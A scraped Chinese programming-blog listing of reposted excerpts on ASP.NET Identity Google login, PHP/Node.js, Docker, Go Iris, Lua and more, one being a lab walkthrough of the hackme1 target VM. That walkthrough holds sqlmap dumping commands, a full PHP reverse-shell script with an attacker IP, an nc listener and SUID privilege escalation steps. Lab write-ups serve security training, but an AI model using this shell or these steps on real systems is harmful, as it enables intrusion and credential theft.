UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例，并为RedirectUri属性设置了一个URL，其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段，通过将用户重定向到Google认证页面，而不是应用程序所定义的认证页面，让ASP.NET Identity对未授权的错误进行响应： ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着，当用户通过点击Google按钮进行登录时，浏览器被重定向到Google的认证服务，一旦在那里认证之后，便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法，我获得了外部登录的细节，如下所示： ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示： Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法，以便根据ExternalLoginInfo.Login属性的值对用户进行定位，如果用户之前在应用程序中已经认证，该属性会返回一个AppUser对象： ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象，那么我便知道这是用户首次登录应用程序，于是便创建了一个新的AppUser对象，填充该对象的值，并将其保存到数据库。我还保存了用户如何登录的细节，以便下次能够找到他们： ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了，拷贝Google提供的声明（Claims），并创建一个认证Cookie，以使应用程序知道此用户已认证： ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改：需要修改第13章所建立的账号验证，因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示：也可以使用外部已认证账号的验证，但这里出于简化，取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证，启动应用程序，通过点击“Log In via Google（通过Google登录）”按钮，并提供有效的Google账号凭据。当你完成了认证过程时，浏览器将被重定向回应用程序。如果导航到/Claims/Index URL，便能够看到来自Google系统的声明（Claims），已被添加到用户的标识中了，如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明（Claims） 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用，还演示了在升级数据架构时，如何使用数据库迁移保护数据。我解释了声明（Claims）的工作机制，以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章，这是建立在使用声明（Claims）的思想基础之上的。本篇文章为转载内容。原文链接：https://blog.csdn.net/gz19871113/article/details/108591802。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-10-28 08:49:21

283

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PHP

PHP与Node.js在Web开发中的交互：HTTP与WebSocket协议实现数据交换及功能协同

... file_get_contents($url); echo $data; ?> javascript const http = require('http'); const server = http.createServer((req, res) => { res.statusCode = 200; res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ data: 'Hello from Node.js!' })); }); server.listen(3000); 在这个示例中，PHP使用file_get_contents函数从Node.js获取数据，然后输出到网页上。Node.js则是利用了http这个模块，捣鼓出了一个HTTP服务器。每当它收到一个GET请求时，就会超级贴心地回传一个JSON格式的数据对象作为回应。 2. 使用WebSocket协议除了HTTP协议，我们还可以使用WebSocket协议来进行PHP和Node.js的交互。WebSocket，你知道吧，就像是一种神奇的双向聊天管道。它能让浏览器或者客户端和服务器两者之间，始终保持实时、流畅的对话，而且啊，还用不着像以前那样，老是反复地发送HTTP请求，多高效便捷！以下是一个简单的示例代码： php $host = 'localhost'; $port = 3000; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($socket, $host, $port); socket_write($socket, "GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n"); $response = socket_read($socket, 1024); echo $response; socket_close($socket); ?> javascript const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 3000 }); wss.on('connection', ws => { ws.send('Hello from Node.js!'); ws.on('message', message => { console.log(Received message => ${message}); }); }); 在这个示例中，PHP使用socket_create和socket_connect函数创建了一个TCP连接，并向Node.js发送了一个HTTP GET请求。Node.js借助WebSocket模块，捣鼓出一个WebSocket服务器。每当有客户端小手一挥发起连接请求时，服务器就会立马给客户端回个消息。同时，它还耳聪目明地监听着客户端发来的每一条消息事件。四、总结总的来说，PHP和Node.js都是优秀的Web开发工具，它们有着各自的优点和适用场景。PHP这门语言，就像是企业级应用开发的传统老将，尤其在那些需要稳定、持久运行的场景里，它发挥得游刃有余。而Node.js呢，更像是实时交互和高并发处理领域的灵活小能手，对于那些要求快速响应、大量并发请求的应用开发，Node.js的表现绝对会让你眼前一亮，就像个活力十足的小伙子，轻松应对各种挑战。无论你挑哪个工具，咱都得把它独有的特点和优势摸得门儿清，然后把这些优势发挥到极致，这样才能让开发效率蹭蹭往上涨，同时保证咱们的应用程序质量杠杠滴。此外，咱们也得摸清楚PHP和Node.js是怎么联手合作的，这样一来，咱就能更巧妙地把这两门技术的优点用到极致，给咱们的开发工作添砖加瓦，创造出更多意想不到的可能性。

2024-01-21 08:08:12

昨夜星辰昨夜风_t

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[转载]靶机渗透练习13-hackme1

...68.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名： 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin，超级管理员，看起来像一个md5 扩展在线解密md5网站国内MD5解密： http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密： https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是：Uncrackable 登录上去，发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到查看文件内容，并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？总结本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-01-02 12:50:54

497

转载

JSON

json 自动化测试

...aders = {'Content-Type': 'application/json'} data = {'name': 'test', 'age': '25'} response = requests.post('http://example.com/api/users', headers=headers, data=json.dumps(data)) assert response.status_code == 200 assert response.json().get('success') is True 在这个例子中，我们使用了Python中的requests库，来仿照发送一个POST方式请求。我们设置了请求的headers和data，借助于json.dumps()函数将data转换为JSON格式。在请求结束后，我们通过assert断言判断请求的返回状态码和JSON数据是否符合预期。如果测试案例执行成功，则代表接口调用正常。总的来说，JSON程序化测试可以帮助我们实现快速、可靠和缩短测试时间等诸多优点。同时需要注意JSON格式的数据，需要符合规范，否则在数据处理环节中可能会出现意想不到的错误。

2023-12-07 16:32:59

499

软件工程师

Docker

docker怎么看日志(docker怎么看配置的ip)

... -i \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer [token]' \ -H 'Accept: application/vnd.docker.raw-stream' \ "http://localhost:2375/containers/63b5470f6a15/logs?stream=1" 3. 在Docker Compose中： $ docker-compose logs 如果使用Docker Compose来控制应用程序（例如通过docker-compose.yml来定义应用程序），则可以使用以下命令来接收应用程序的所有容器的记录： $ docker-compose logs [SERVICE] 通过以上方式，我们可以获得容器的所有输出记录。通过查看容器的记录，我们可以做到快速排除错误或识别容器中的性能问题。

2023-09-05 21:33:01

333

代码侠

Go Iris

Go Iris中前端表单配置与后端验证逻辑问题剖析

...：比如表单编码类型（Content-Type）设置错误。接下来，我们将逐一排查这些问题，并给出相应的解决方案。 3. 前端表单配置错误示例1：表单字段名不匹配假设我们在前端表单中定义了一个名为username的输入框，但在后端接收时却命名为user_name。这种情况会导致数据提交失败。我们需要确保前后端字段名称一致。 html Submit go // 后端处理 import ( "github.com/kataras/iris/v12" ) func submit(ctx iris.Context) { var form struct { Username string validate:"required" } if err := ctx.ReadForm(&form); err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(map[string]string{"error": "Invalid form data"}) return } // 处理表单数据... } 在这个例子中，我们需要确保name="username"与结构体中的字段名一致。示例2：缺少必要字段如果表单缺少了必要的字段，同样会导致数据提交失败。例如，如果我们需要email字段，但表单中没有包含它。 html Submit go // 后端处理 import ( "github.com/kataras/iris/v12" ) func submit(ctx iris.Context) { var form struct { Username string validate:"required" Email string validate:"required,email" } if err := ctx.ReadForm(&form); err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(map[string]string{"error": "Missing required fields"}) return } // 处理表单数据... } 在这个例子中，我们需要确保所有必要字段都存在于表单中，并且在后端正确地进行了验证。 4. 后端验证逻辑错误示例3：忘记添加验证规则有时候，我们可能会忘记给某个字段添加验证规则，导致数据提交失败。比如说，我们忘了给password字段加上最小长度的限制。 html Submit go // 后端处理 import ( "github.com/kataras/iris/v12" "github.com/asaskevich/govalidator" ) func submit(ctx iris.Context) { var form struct { Username string valid:"required" Password string valid:"required" } if _, err := govalidator.ValidateStruct(form); err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(map[string]string{"error": "Validation failed: " + err.Error()}) return } // 处理表单数据... } 在这个例子中，我们需要确保所有字段都有适当的验证规则，并且在后端正确地进行了验证。示例4：验证规则设置不当验证规则设置不当也会导致数据提交失败。比如，我们本来把minlen设成了6，但其实得要8位以上的密码才安全。 html Submit go // 后端处理 import ( "github.com/kataras/iris/v12" "github.com/asaskevich/govalidator" ) func submit(ctx iris.Context) { var form struct { Username string valid:"required" Password string valid:"minlen=8" } if _, err := govalidator.ValidateStruct(form); err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(map[string]string{"error": "Validation failed: " + err.Error()}) return } // 处理表单数据... } 在这个例子中，我们需要确保验证规则设置得当，并且在后端正确地进行了验证。 5. 编码问题示例5：Content-Type 设置错误如果表单的Content-Type设置错误，也会导致数据提交失败。例如，如果我们使用application/json而不是application/x-www-form-urlencoded。 html Submit go // 后端处理 import ( "github.com/kataras/iris/v12" ) func submit(ctx iris.Context) { var form struct { Username string validate:"required" Password string validate:"required" } if err := ctx.ReadJSON(&form); err != nil { ctx.StatusCode(iris.StatusBadRequest) ctx.JSON(map[string]string{"error": "Invalid JSON data"}) return } // 处理表单数据... } 在这个例子中，我们需要确保Content-Type设置正确，并且在后端正确地读取了数据。 6. 结论通过以上几个示例，我们可以看到，解决表单数据提交失败的问题需要从多个角度进行排查。不管是前端的表单设置、后端的验证规则还是代码里的小毛病，咱们都得仔仔细细地检查和调整才行。希望这些示例能帮助你更好地理解和解决这个问题。如果你还有其他问题或者发现新的解决方案，欢迎在评论区交流！最后，我想说的是，编程之路充满了挑战和乐趣。每一次解决问题的过程都是成长的机会。希望这篇文章能给你带来一些启发和帮助！

2025-03-04 16:13:10

岁月静好

转载文章

[转载]php文件直链源码,PHP-全民K歌直链信息解析源码

...码 header('content-type:application/json'); $url = @$_GET['url']; if (empty($url)) { echo json_encode(['code' => 1, 'msg' => '没有播放链接'], 320); exit; } $data = curlGet($url); $jsonData = getsubstr($data, 'window.__DATA__ = ', ';'); $jsonArr = json_decode($jsonData, true); $play = [ 'avatar' => $jsonArr['detail']['avatar'], //歌手头像 'content' => $jsonArr['detail']['content'], //分享内容 'cover' => $jsonArr['detail']['cover'], //歌曲封面 'nick' => $jsonArr['detail']['kg_nick'], //歌手昵称 'playurl' => $jsonArr['detail']['playurl'], //mp3 下载地址 ]; echo json_encode($play, 320); // 取中间文本函数 function getsubstr($str, $leftStr, $rightStr) { $left = strpos($str, $leftStr); $right = strpos($str, $rightStr, $left); if ($left < 0 or $right < $left) { return ''; } return substr($str, $left + strlen($leftStr), $right - $left - strlen($leftStr)); } function curlGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $output = curl_exec($ch); curl_close($ch); return $output; } TEST 一下 OJ8K! ~谢谢打赏~ 赏本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_28965077/article/details/115168291。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-03-14 14:04:46

227

转载

转载文章

[转载][HTML]POST方法和GET方法

...stHeader("Content-Type", "application/x-www-form-urlencoded");httpRequest.send(getloin);}function handleResponse(e) {if (e.target.readyState == XMLHttpRequest.DONE){// var responseTextJson = JSON.parse(e.target.responseText);alert(e.target.responseText);} } 两者的区别: 补充:(题外话) 后端post接口开发者的想法: post函数定义了请求的地址，参数，还有一个回调函数。而post的概念就是 “我执行的时候，需要你给我地址和参数，然后我执行完了，就完了，但是如果开发人员你，需要用到我返回的数据和状态，你要用，怎么办呢？那没关系，不是还有一个回调函数吗？我再提供一个回调函数给你，至于你想怎么用，就用这个回调函数实现，于是我只把返回的数据，状态放在参数列表里面，并且下一个”执行“你外部函数的命令，具体怎么实现，你要怎么用，是你开发人员的事了。转载于:https://www.cnblogs.com/lyggqm/p/5687381.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30679823/article/details/95213062。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2024-02-05 12:22:04

486

转载

Lua

Lua处理复杂异步任务：聚焦网络请求、数据库操作与文件读写

...ers"] = {"Content-Type": "text/plain"}, ["body"] = request }) coroutine.yield(resp) response = resp.body end print("Responses:", response) end) -- 启动主协程 coroutine.resume(main_coroutine) 四、使用事件循环优化调度对于更复杂的场景，仅依赖协程的原生能力可能不足以高效地调度大量并发任务。Lua提供了LuaJIT和Lpeg这样的扩展，其中LuaJIT提供了更强大的性能优化和高级特性支持。我们可以使用LuaJIT的uv库来实现一个事件循环，用于调度和管理协程： lua local uv = require("uv") -- 定义事件循环 local event_loop = uv.loop() -- 创建事件处理器，用于处理协程完成时的回调 function on_complete(err) if err then print("Error occurred: ", err) else print("Task completed successfully.") end event_loop:stop() -- 停止事件循环 end -- 添加协程到事件循环中 for _, req in ipairs({"req1", "req2", "req3"}) do local handle_task = function(task) coroutine.yield(2) -- 模拟较长时间的任务 print("Task ", task, " completed.") uv.callback(on_complete) -- 注册完成回调 end event_loop:add_timer(0, handle_task, req) end -- 启动事件循环 event_loop:start() 五、总结与展望通过上述示例，我们了解到Lua在处理复杂异步任务调度时的强大能力。无论是利用基本的协程功能还是扩展库提供的高级特性，Lua都能帮助开发者构建高性能、可扩展的应用系统。哎呀，随着咱们对并发模型这事儿琢磨得越来越透了，开发者们就可以开始尝试搞一些更复杂、更有意思的调度策略和优化方法啦！比如说，用消息队列这种黑科技来管理任务，或者建立个任务池，让任务们排队等待执行，这样一来，咱们就能解决更多、更复杂的并发问题了，是不是感觉挺酷的？总之，Lua以其简洁性和灵活性，成为处理异步任务的理想选择之一。

2024-08-29 16:20:00

蝶舞花间

AngularJS

$httpProvider 在 AngularJS 中设置跨域头 Access-Control-Allow-Origin 的误区与服务器端配置实践

